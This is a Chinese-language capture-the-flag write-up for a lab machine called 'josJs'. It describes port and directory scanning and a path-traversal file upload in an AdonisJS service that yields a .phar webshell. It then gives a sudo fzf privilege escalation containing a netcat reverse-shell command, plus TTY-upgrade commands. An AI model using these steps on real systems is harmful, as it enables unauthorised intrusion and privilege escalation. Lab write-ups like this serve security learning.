靶机josJs

userflag

nmap扫端口,出80和8080,一次查看发现仅仅是静态网页,而且识别不出是什么语言,于是扫目录

1
2
3
4
5
6
7
80
[21:49:16] 200 - 2KB - /node_modules/
[21:49:17] 200 - 66B - /package.json
[21:49:17] 200 - 54KB - /package-lock.json

8080
有个/upload文件上传的服务

那么80端口这3个玩意是是nodejs的核心文件

image-20260312224023800

这里可以看框架是AdonisJS:一个 Node.js 全栈 Web 框架。并且暴露了中间件的版本,这里先放在这!然后这是一个web目录,不然怎么可以直接访问文件呢?80端口到这差不多

8080肯定就是nodejs起的服务了,那么能文件上传而且看到上传的目录

image-20260312224718646

这里我联想到上次浅析的一个js的洞,通过session去目录穿越。

image-20260312225346118

浅析CVE-2025-61686-ReactRouter-任意文件写入漏洞 那么我的第一反应并是通过文件名去进行目录穿越,发现ok的!那么随之而来的就是如何去getshell,这里我当时傻了(没结合前面的信息),我就想你nodejs起的服务上传木马也访问不了啊!于是我就去搜文章

CVE-2026-21440不看不知道,一看吓一跳都对应上了,懒得分析了,直接拿来打!但是不行哈!

于是还是得去分析,发现它其实就是上传木马到web目录,web目录在哪呢?80端口啊XD!!!

乐呵呵地去上传,文件后缀有黑名单,一顿绕过都不行,知识盲区了,最后得知可以上传phar且可以解析,那就好办了,一个木马上去,不就拿到shell了嘛!

非交互式的tty,两种办法起交互式tty

1
2
script /dev/null -c bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/welcome需要welcome权限,所以尝试提权,有个sudo可以用,然后mooi给我安利了一个比较好的提权命令查询的网站fzf | GTFOBins

image-20260312231234965

允许任意用户以 welcome 用户 / 用户组的身份((welcome)),无需密码执行 /usr/bin/fzf

两种提取命令:

1
sudo /usr/bin/fzf --preview 'busybox nc ip port -e /bin/bash'

这个不用怕shell崩,它是会预先执行

1
sudo -u welcome fzf --bind 'enter:execute(/bin/bash)'

这个就对shell有些要求,加固一下,当时比较急mooi直接给了我加固的命令,有个伙伴真的太棒了

因为我们拿到的是伪交互式tty,ctrl+z之后输入下面命令

1
stty raw -echo; fg

这个命令是 Unix/Linux 终端中修复伪 TTY 交互体验的核心命令组合,所以反弹shell在kali进行,我前面win的nc不行然后执行提权命令就ok了

fg就是将后台挂起的进程调回前台

image-20260312233045358

rootflag

复现:

jorJs的root部分给个提示:journalctl

是一个查看日志的命令

image-20260312235551975

MazeSec-journalctl-AdonisJS就是提权的密码,哈哈哈!

过程:现在看了简单哦,但是打可是花了我不少时间,冷静思考,不断复盘,持续进步!